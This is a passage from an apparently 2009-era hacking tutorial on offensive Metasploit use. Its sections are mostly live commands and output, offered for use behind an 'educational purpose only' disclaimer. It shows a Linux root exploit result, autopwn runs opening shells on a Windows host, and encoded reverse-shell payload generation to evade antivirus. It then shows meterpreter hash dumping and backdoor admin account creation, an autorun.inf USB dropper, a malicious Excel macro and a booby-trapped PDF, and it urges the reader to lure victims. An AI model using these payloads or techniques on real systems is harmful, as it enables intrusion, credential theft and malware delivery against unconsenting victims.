	-----------------------------------
	 Linux vmsplice Local Root Exploit
	 By qaaz
	-----------------------------------
	[+] mmap: 0x0 .. 0x1000
	[+] page: 0x0
	[+] page: 0x20
	[+] mmap: 0x4000 .. 0x5000
	[+] page: 0x4000
	[+] page: 0x4020
	[+] mmap: 0x1000 .. 0x2000
	[+] page: 0x1000
	[+] mmap: 0xb7e79000 .. 0xb7eab000
	[+] root
	root@linuxserver:~# id
	uid=0(root) gid=0(root) groups=1001(root)
	
	Finally, we are a root of target server. We can do whatever we want. XD


#####################################	
 [0x03] - Metasploit Ninja-Autopwned
#####################################
	
		Metasploit is a tool for exploiting system vulnerabilities but penetration tester need to find those vulnerabilities first,
	this is a drawback of metasploit. However, the lastest version of metasploit is added a feature called "Autopwned" which automatically
	exploit vulnerabilities reported from nmap or nessus.
		Note: Metasploit have one features called "Autopwn Metasploit Automated". That can scanning all network by nmap and Automating exploit.

	+++++++++++++++++++++++++++++++++++++
	 [0x03a] - Nmap+Metasploit Autopwned
	+++++++++++++++++++++++++++++++++++++

	[Nmap Result]-----------------------------------------------------------------------------------

	bt ~ # nmap -sS 192.168.80.129 -oX nmap.xml

	Starting Nmap 4.85BETA10 ( http://nmap.org ) at 2009-07-03 12:04 GMT
	Interesting ports on 192.168.80.129:
	Not shown: 990 closed ports
	PORT     STATE SERVICE
	80/tcp   open  http
	135/tcp  open  msrpc
	139/tcp  open  netbios-ssn
	443/tcp  open  https
	445/tcp  open  microsoft-ds
	1025/tcp open  NFS-or-IIS
	1026/tcp open  LSA-or-nterm
	1027/tcp open  IIS
	1433/tcp open  ms-sql-s
	3372/tcp open  msdtc
	MAC Address: 00:0C:29:CC:CF:46 (VMware)
	
	Nmap done: 1 IP address (1 host up) scanned in 1.54 seconds
	
	[End Result]------------------------------------------------------------------------------------

		Now we got nmap.xml for import to Metasploit framework...

	[Import Nmap result to Metasploit]--------------------------------------------------------------

	bt framework3 # msfconsole
	                _                  _       _ _
	               | |                | |     (_) |
	 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
	| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
	| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
	|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
	                            | |
	                            |_|
	
	
	       =[ msf v3.3-dev
	+ -- --=[ 288 exploits - 124 payloads
		+ -- --=[ 17 encoders - 6 nops
	       =[ 56 aux
	
	msf > load db_sqlite3
	[*] Successfully loaded plugin: db_sqlite3
	msf > db_create /tmp/test.db
	[*] Creating a new database instance...
	[*] Successfully connected to the database
	[*] File: /tmp/test.db
	msf > db_import_nmap_xml /root/nmap.xml
	msf > db_hosts
	[*] Time: Fri Jul 03 14:01:56 +0000 2009 Host: 192.168.80.129 Status: alive OS:
	msf > db_autopwn -p -e
	[*] (3/116): Launching exploit/unix/webapp/tikiwiki_jhot_exec against 192.168.80.129:80...
	[*] (8/116): Launching exploit/unix/webapp/awstats_configdir_exec against 192.168.80.129:80...
	[*] (9/116): Launching exploit/windows/http/bea_weblogic_transfer_encoding against 192.168.80.129:80...
	
	[*] Started bind handler
	[*] Started bind handler
	[*] (12/116): Launching exploit/unix/webapp/awstats_migrate_exec against 192.168.80.129:80...
	[*] (13/116): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.80.129:135...
	[*] Started bind handler
	[*] Started bind handler
	[*] Job limit reached, waiting on modules to finish...
	[*] The server returned: 404 Object Not Found
	[*] This server may not be vulnerable
	[*] Started bind handler
	[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
	[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135] ...
	[*] The server returned: 404 Object Not Found
	[*] This server may not be vulnerable
	[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135] ...
	[*] Sending exploit ...
	[*] The DCERPC service did not reply to our request
	[*] Command shell session 1 opened (192.168.80.131:52929 -> 192.168.80.129:10529)
	.......
	.......
	sessions -l

	Active sessions
	===============
	
	  Id  Description    Tunnel
	  --  -----------    ------
	  1   Command shell  192.168.80.131:52929 -> 192.168.80.129:10529
	  2   Command shell  192.168.80.131:50775 -> 192.168.80.129:17887
	  3   Command shell  192.168.80.131:40985 -> 192.168.80.129:37295
	  4   Command shell  192.168.80.131:51652 -> 192.168.80.129:37095
	  5   Command shell  192.168.80.131:38373 -> 192.168.80.129:17130
	  6   Command shell  192.168.80.131:56722 -> 192.168.80.129:20693
	
	msf >sessions -i 1
	[*] Starting interaction with 1...
	
	Microsoft Windows 2000 [Version 5.00.2195]
	(C) Copyright 1985-2000 Microsoft Corp.
	
	C:\WINNT\system32>ipconfig
	ipconfig

	Windows 2000 IP Configuration
	
	Ethernet adapter Local Area Connection:

		Connection-specific DNS Suffix  . : localdomain
	        IP Address. . . . . . . . . . . . : 192.168.80.129
	        Subnet Mask . . . . . . . . . . . : 255.255.255.0
	        Default Gateway . . . . . . . . . : 192.168.80.2
	
	C:\WINNT\system32>

	[End Result]------------------------------------------------------------------------------------


	+++++++++++++++++++++++++++++++++++++++
	 [0x03b] - Nessus+Metasploit Autopwned
	+++++++++++++++++++++++++++++++++++++++

		First, you must use Nessus scanner for VA and export file with *.nbe, then import to metasploit framework for autopwn

	[Import Nessus(nbe) result to Metasploit]-------------------------------------------------------
	
	bt framework3 # msfconsole

	#    # ###### #####   ##    ####  #####  #       ####  # #####
	##  ## #        #    #  #  #      #    # #      #    # #   #
	# ## # #####    #   #    #  ####  #    # #      #    # #   #
	#    # #        #   ######      # #####  #      #    # #   #
	#    # #        #   #    # #    # #      #      #    # #   #
	#    # ######   #   #    #  ####  #      ######  ####  #   #
	
	
	       =[ msf v3.3-dev
	+ -- --=[ 288 exploits - 124 payloads
	+ -- --=[ 17 encoders - 6 nops
	       =[ 56 aux
	
	msf > load db_sqlite3
	[*] Successfully loaded plugin: db_sqlite3
	msf > db_create /tmp/ness.db
	[*] Creating a new database instance...
	[*] Successfully connected to the database
	[*] File: /tmp/ness.db
	msf > db_import_nessus_nbe /root/demo.nbe
	msf > db_hosts
	[*] Time: Fri Jul 03 14:43:58 +0000 2009 Host: 192.168.80.129 Status: alive OS:
	msf > db_autopwn -x -t
	[*] Analysis completed in 4.28915095329285 seconds (17 vulns / 1145 refs)
	[*] Matched auxiliary/dos/windows/smb/ms05_047_pnp against 192.168.80.129:445...
	[*] Matched exploit/windows/dcerpc/ms03_026_dcom against 192.168.80.129:135...
	[*] Matched exploit/windows/smb/ms06_040_netapi against 192.168.80.129:445...
	[*] Matched exploit/windows/mssql/ms02_039_slammer against 192.168.80.129:1434...
	[*] Matched exploit/windows/smb/ms05_039_pnp against 192.168.80.129:445...
	[*] Matched exploit/windows/smb/ms04_011_lsass against 192.168.80.129:445...
	msf > db_autopwn -x -e
	[*] (2/6): Launching exploit/windows/dcerpc/ms03_026_dcom against 192.168.80.129:135...
	[*] (3/6): Launching exploit/windows/smb/ms06_040_netapi against 192.168.80.129:445...
	
	[*] Started bind handler
	[*] (4/6): Launching exploit/windows/mssql/ms02_039_slammer against 192.168.80.129:1434...
	[*] Started bind handler
	[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...
	[*] Binding to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135] ...
	[*] (5/6): Launching exploit/windows/smb/ms05_039_pnp against 192.168.80.129:445...
	[*] Bound to 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57:0.0@ncacn_ip_tcp:192.168.80.129[135] ...
	[*] Started bind handler
	[*] (6/6): Launching exploit/windows/smb/ms04_011_lsass against 192.168.80.129:445...
	[*] Sending UDP packet with return address 0x42b48774
	[*] Execute 'net start sqlserveragent' once access is obtained
	[*] Started bind handler
	[*] Connecting to the SMB service...
	[*] Sending exploit ...
	msf >
	[*] Detected a Windows 2000 target
	[*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.80.129[\BROWSER] ...
	[*] Started bind handler
	[*] Binding to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.80.129[\browser] ...
	[*] The DCERPC service did not reply to our request
	[*] Command shell session 1 opened (192.168.80.131:41655 -> 192.168.80.129:39354)
	[*] Command shell session 2 opened (192.168.80.131:57118 -> 192.168.80.129:7605)
	[*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.80.129[\lsarpc]...
	[*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.80.129[\BROWSER] ...
	[*] Building the stub data...
	[*] Bound to 8d9f4e40-a03d-11ce-8f69-08003e30051b:1.0@ncacn_np:192.168.80.129[\browser] ...
	[*] Calling the vulnerable function...
	[*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.80.129[\lsarpc]...
	[*] Getting OS information...
	[*] Trying to exploit Windows 5.0
	[*] Calling the vulnerable function...
	[+] Server did not respond, this is expected
	[*] Command shell session 3 opened (192.168.80.131:50407 -> 192.168.80.129:15299)
	[*] Command shell session 4 opened (192.168.80.131:32768 -> 192.168.80.129:30092)
	[*] The DCERPC service did not reply to our request
	[*] Command shell session 5 opened (192.168.80.131:39556 -> 192.168.80.129:17330)
	sessions -l
	
	Active sessions
	===============
	
	  Id  Description    Tunnel
	  --  -----------    ------
	  1   Command shell  192.168.80.131:41655 -> 192.168.80.129:39354
	  2   Command shell  192.168.80.131:57118 -> 192.168.80.129:7605
	  3   Command shell  192.168.80.131:50407 -> 192.168.80.129:15299
	  4   Command shell  192.168.80.131:32768 -> 192.168.80.129:30092
	  5   Command shell  192.168.80.131:39556 -> 192.168.80.129:17330
	
	msf > sessions -i 3
	[*] Starting interaction with 3...
	
	Microsoft Windows 2000 [Version 5.00.2195]
	(C) Copyright 1985-2000 Microsoft Corp.
	
	C:\WINNT\system32>ipconfig
	ipconfig
	
	Windows 2000 IP Configuration
	
	Ethernet adapter Local Area Connection:
	
	        Connection-specific DNS Suffix  . : localdomain
	        IP Address. . . . . . . . . . . . : 192.168.80.129
	        Subnet Mask . . . . . . . . . . . : 255.255.255.0
	        Default Gateway . . . . . . . . . : 192.168.80.2
	
	C:\WINNT\system32>              
	
	[End Result]------------------------------------------------------------------------------------


#############################################
 [0x04] - Client-Side Attack with Metasploit
#############################################


	++++++++++++++++++++++++++++++++++++++++
	 [0x04a] - Metasploit Payload Generator
	++++++++++++++++++++++++++++++++++++++++
		
		Metasploit Payload Generator is a tool allowing you to create malicious code easily.
	This is not a tool to exploit a system. You can use the tool to create malicious payload and
	save it to exe file then you need to lure a victim to execute that file on his/her machine.

		There is a feature to encode your payload to get past most AV and IDS/IPS (13 Encoding Choices). 
	So we can use Metasploit Payload Generator from "Fast-Track". If you don't have "fast-track", you need 
	Metasploit framework and this script for you  ;) 
	
	[metascript]------------------------------------------------------------------------------------
	
	#!/bin/bash
	echo "###########################################"
	echo "#### 0-Days Exploits with MetaCompiler ####"
	echo "###########################################"
	echo ""
	echo -n "Enter your Listener IP Address: "
	read ip
	echo -n "Enter your Listener Port: "
	read port
	echo ""
	echo "-= MetaCompiler Payloads =-"
	echo ""
	echo "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
	echo "+ Meterpreter Reverse Connectback   - windows/meterpreter/reverse_tcp +"
	echo "+ VNC Inject Reverse Connectback    - windows/vncinject/reverse_tcp   +"
	echo "+ Generic Reverse Shell             - generic/shell_reverse_tcp       +"
	echo "+ Linux X86 Reverse Shell           - linux/x86/shell_reverse_tcp     +"
	echo "+ Mac OSX (iphone) Reverse Shell    - osx/ppc/shell/reverse_tcp       +"
	echo "+ Windows Reverse Shell             - windows/shell/reverse_tcp       +"     
	echo "+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++"
	echo ""
	echo -n "Enter your Payload Exploit: "
	read payload
	echo -n "Enter your Output file name (xpl.exe): "
	read file
	echo ""
	echo "-= Processing =-"
	/pentest/exploits/framework3/msfpayload $payload LHOST=$ip LPORT=$port R | /pentest/exploits/framework3/msfencode -b '' -t exe -o $file
	echo "Enjoy 0-Days Exploit with $file ;)"
	echo ""
	echo ""
	echo "-= Now Waiting for Reverse Connection from Victim =-"
	/pentest/exploits/framework3/msfcli multi/handler PAYLOAD=$payload LHOST=$ip LPORT=$port DisableCourtesyShell=True E
	
	[End script]------------------------------------------------------------------------------------


		Next, Example for using "Fast-Track".

	
	[Metasploit Gen]--------------------------------------------------------------------------------

	bt fast-track # ./fast-track.py -i
	
	***********************************************
	******* Performing dependency checks... *******
	***********************************************
	
	*** FreeTDS and PYMMSQL are installed. (Check) ***
	*** PExpect is installed. (Check) ***
	*** ClientForm is installed. (Check) ***
	*** Psyco is installed. (Check) ***
	*** Beautiful Soup is installed. (Check) ***
	*** PyMills is installed. (Check) ***
	
	Also ensure ProFTP, WinEXE, and SQLite3 is installed from
	the Updates/Installation menu.
	
	Your system has all requirements needed to run Fast-Track!
	
	Fast-Track Main Menu:
	
	    Fast-Track - Where it's OK to finish in under 3 minutes...
	    Version: v4.0
	    Written by: David Kennedy (ReL1K)
	    http://www.securestate.com
	    http://www.thepentest.com
	
	    1.  Fast-Track Updates
	    2.  External Hacking
	    3.  Internal Hacking
	    4.  Exploits
	    5.  SQLPwnage
	    6.  Payload Generator
	    7.  Tutorials
	    8.  Changelog
	    9.  Credits
	    10. About
	    11. Exit
	
	    Enter the number: 6
	Configuration file not detected, running default path.
	Recommend running setup.py install to configure Fast-Track.
	
	#####################################
	###                               ###
	### Metasploit Payload Generator  ###
	###                               ###
	### Written by: Dave Kennedy      ###
	### aka ReL1K                     ###
	###                               ###
	#####################################
	#####################################
	
	
	The Metasploit Payload Generator is a simple tool to
	make it extremely easy to generate a payload and listener
	on the Metasploit framework. This does not actually
	exploit any systems, it will generate a metasploit payload
	for you and save it to an executable. You then need to
	someone get it on the remote server by yourself and get it
	to execute correctly.
	
	This will also encode your payload to get past most AV and
	IDS/IPS.
	
	
	What payload do you want to generate:
	
	Name:                                Description:
	
	1. Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker.
	2. Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker.
	3. Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker.
	4. Windows Bind Shell                      Execute payload and create an accepting port on remote system.
	5. Windows Reflective Reverse VNC          Spawn a VNC server on victim and send back to attacker.
	6. Windows Reflective Reverse Meterpreter  Spawn a Meterpreter shell on victim through Reflective to attacker.
	
	Enter choice (example 1-6): 2
	
	Below is a list of encodings to try and bypass AV.
	
	Select one of the below, Avoid_UTF8_tolower usually gets past them.
	
	1. avoid_utf8_tolower
	2. shikata_ga_nai
	3. alpha_mixed
	4. alpha_upper
	5. call4_dword_xor
	6. countdown
	7. fnstenv_mov
	8. jmp_call_additive
	9. nonalpha
	10. nonupper
	11. unicode_mixed
	12. unicode_upper
	13. alpha2
	14. No Encoding
	
	Enter your choice : 2
	
	Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell): 192.168.80.131
	Enter the port of the Listener: 5555
	
	Do you want to create an EXE or Shellcode
	
	1. Executable
	2. Shellcode
	
	Enter your choice: 1
	Created by msfpayload (http://www.metasploit.com).
	Payload: windows/meterpreter/reverse_tcp
	 Length: 278
	Options: LHOST=192.168.80.131,LPORT=5555,ENCODING=shikata_ga_nai
	
	
	A payload has been created in this directory and is named 'payload.exe'. Enjoy!
	
	
	Do you want to start a listener to receive the payload yes or no: yes
	
	Launching Listener...
	***********************************************************************************************
	
	Launching MSFCLI on 'exploit/multi/handler' with PAYLOAD='windows/meterpreter/reverse_tcp'
	Listening on IP: 192.168.80.131 on Local Port: 5555 Using encoding: ENCODING=shikata_ga_nai
	
	***********************************************************************************************
	[*] Handler binding to LHOST 0.0.0.0
	[*] Started reverse handler
	[*] Starting the payload handler...
	[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
	[*] Sending stage (2650 bytes)
	[*] Sleeping before handling stage...
	[*] Uploading DLL (75787 bytes)...
	[*] Upload completed.
	[*] Meterpreter session 1 opened (192.168.80.131:5555 -> 192.168.80.1:13948)
	
	meterpreter > getuid
	Server username: LENOVO-X200\prathan
	meterpreter > use priv
	Loading extension priv...success.
	meterpreter > hashdump
	Administrator:500:F703F386322B0662E72C57EF50F76A05:C62638B38308E651B21A0F2CCAB3AC9B
	Guest:501:A0E150C75A17008EAAD3B435B51404EE:823893ADFAD2CDA6E1A414F3EBDF58F7
	prathan:1003:879980DE48006E7EAAD3B435B51404EE:BA69764BCCF8F41121E0B3046CE46C67
	TsInternetUser:1002:52FE1A30EB33BA7BE3BB722E78963414:3A07E408DB9CB2331C9C527B0F4A8C52
	meterpreter > execute -H -i -f cmd.exe
	Process 692 created.
	Channel 1 created.
	Microsoft Windows XP [Version 5.1.2600]
	(C) Copyright 1985-2001 Microsoft Corp.
	
	C:\Documents and Settings\prathan\Desktop>hostname
	LENOVO-X200
	
	C:\Documents and Settings\prathan\Desktop>net user cwh 1234 /add
	net user cwh 1234 /add
	The command completed successfully.
	
	C:\Documents and Settings\prathan\Desktop>net localgroup administrators cwh /add
	net localgroup administrators cwh /add
	The command completed successfully.
	
	C:\Documents and Settings\prathan\Desktop>net user
	net user
		
	User accounts for \\
	
	-------------------------------------------------------------------------------
	Administrator            cwh                   Guest
	prathan			 TsInternetUser
	The command completed with one or more errors.
	
	[End Result]------------------------------------------------------------------------------------
		
		From Above, We can Attack victim from Social-engineering if they execute "payload.exe". What's happen If we use Autorun.inf to force them execute our files.
	
	[USB Pwnage]------------------------------------------------------------------------------------
	
	+autorun.inf
	[autorun] 
	action=Open Files On Folder
	icon=icons\drive.ico
	shellexecute=nircmd.exe execmd CALL batexe\progstart.bat

	+icons
	+nircmd.exe

	+batexe
	 -progstart.bat
	  @echo off
	  nircmd.exe execmd CALL batexe\moddump.bat
	  nircmd.exe execmd CALL batexe\modsmax.bat

	 -moddump.bat
	  @echo off
	  nircmd.exe execmd .\batexe\payload.exe

	 -modsmax.bat
	  @echo off
	  start ..
	  nircmd.exe win max ititle "Remo"

	 [End File]-------------------------------------------------------------------------------------

		If someone open USB drive with Autorun or Double-click USB drive from My computer, Their System will compromised !! 

	
	++++++++++++++++++++++++++++++++++
	 [0x04b] - MS-Office Macro Ownage
	++++++++++++++++++++++++++++++++++

		MS word, Excel, Powerpoint, etc. can import VBscript to their files. Metasploit can generate VBScript that contains Malicious Payload !!
	In this example, we will show script for exploiting victim with MS-Excel. The victim machine will start reverse VNC to our machine after
	the victim opens MS-Excel file.
	
	[Msf script]------------------------------------------------------------------------------------

	bt framework3 # ./msfpayload windows/vncinject/reverse_tcp LHOST=192.168.80.131 V > /tmp/script.bas
	bt framework3 # ./msfcli multi/handler PAYLOAD=windows/vncinject/reverse_tcp LHOST=192.168.80.131 DisableCourtesyShell=True E
	[*] Handler binding to LHOST 0.0.0.0
	[*] Started reverse handler
	[*] Starting the payload handler...
	[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
	[*] Sending stage (2658 bytes)
	[*] Sleeping before handling stage...

	[End Result]------------------------------------------------------------------------------------

		
		Now we have "script.bas", Open MSExcel -> Tools -> Macro -> Visual Basic Editor then import "script.bas" and SAVE Excel file.
	After that use your skill for social engineering, Force them to open MSExcel and Enable Macros. We will control target via VNC viewer with their privilege.


	++++++++++++++++++++++++++++++++++
	 [0x04c] - AdobeReader PDF Ownage
	++++++++++++++++++++++++++++++++++

		Metasploit has exploit script for Generating Malicious PDF file to Attack through "Adobe JBIG2Decode Memory Corruption".
	This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
		When we generate malicious PDF, send to victim and social-engineering for open PDF file. Game Over !!

	[AdobeReader Exploit]---------------------------------------------------------------------------
	
	bt framework3 # msfconsole
	                _                  _       _ _
	               | |                | |     (_) |
	 _ __ ___   ___| |_ __ _ ___ _ __ | | ___  _| |_
	| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
	| | | | | |  __/ || (_| \__ \ |_) | | (_) | | |_
	|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
	                            | |
	                            |_|
	
	
	       =[ msf v3.3-dev
	+ -- --=[ 288 exploits - 124 payloads
		+ -- --=[ 17 encoders - 6 nops
	       =[ 56 aux
	
	msf > use windows/fileformat/adobe_jbig2decode
	msf exploit(adobe_jbig2decode) > set TARGET 0
	TARGET => 0
	msf exploit(adobe_jbig2decode) > set FILENAME malfile.pdf
	FILENAME => malfile.pdf
	msf exploit(adobe_jbig2decode) > set PAYLOAD windows/meterpreter/reverse_tcp
	PAYLOAD => windows/meterpreter/reverse_tcp
	msf exploit(adobe_jbig2decode) > set LHOST 192.168.80.131
	LHOST => 192.168.80.131
	msf exploit(adobe_jbig2decode) > exploit

	[*] Handler binding to LHOST 0.0.0.0
	[*] Started reverse handler
	[*] Creating 'malfile.pdf' file...
	[*] Generated output file /pentest/exploits/framework3/data/exploits/malfile.pdf
	[*] Exploit completed, but no session was created.
	msf exploit(adobe_jbig2decode) > exit
	bt framework3 # ./msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=4444 
	LHOST=192.168.80.131 E
	[*] Handler binding to LHOST 0.0.0.0
	[*] Started reverse handler
	[*] Starting the payload handler...
	[*] Transmitting intermediate stanger for over-sized stage...(191 bytes)
	[*] Sending stage (2650 bytes)
	[*] Sleeping before handling stage...
	[*] Uploading DLL (75787 bytes)...
	[*] Upload completed.
	[*] Meterpreter session 1 opened (192.168.80.131:4444 -> 192.168.80.132:1041)

	meterpreter > getuid
	Server username: WINXP\victim
	meterpreter > execute -H -i -f cmd.exe
	Process 692 created.
	Channel 1 created.
	Micorsoft Windows XP [Version 5.1.2600]
	(C) Copyright 1985-2001 Microsoft Corp.

	C:\Documents and Settings\victim\Desktop> Ownage Again !!!

	[End Result]------------------------------------------------------------------------------------
	
		Other techniques such as "DNS Spoofing+IE7" was great for Mass Exploit, you can see video at http://www.milw0rm.com/video/watch.php?id=96
	That use Ettercap for DNS spoofing then use Metasploit for handling reverse shell from "IE7 MS09-002 Memory Corruption Vulnerability".That force all machine in the same network
	drive to attacker's machine and ... Game Over !!


#####################
 [0x05] - References
#####################

[1] SANS: Scanning Windows Deepers With Nmap Scanning Engines
[2] http://nmap.org
[3] http://oss.coresecurity.com/projects/pshtoolkit.html
[4] http://blog.metasploit.com/
[5] http://foofus.net/jmk/passhash.html
[6] Full Scope Security Attacking Layer 8
[7] PaulDotCom Forum
[8] www.milw0rm.com


####################
 [0x06] - Greetz To
####################
	
Greetz	    : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos, Gdiupo, GnuKDE, JK
Special Thx : asylu3, str0ke, citec.us, milw0rm.com

				----------------------------------------------------
	This paper is written for Educational purpose only. The authors are not responsible for any damage 
 originating from using this paper in wrong objective. If you want to use this knowleadge with other person systems, 
				you must request for consent from system owner before
				----------------------------------------------------


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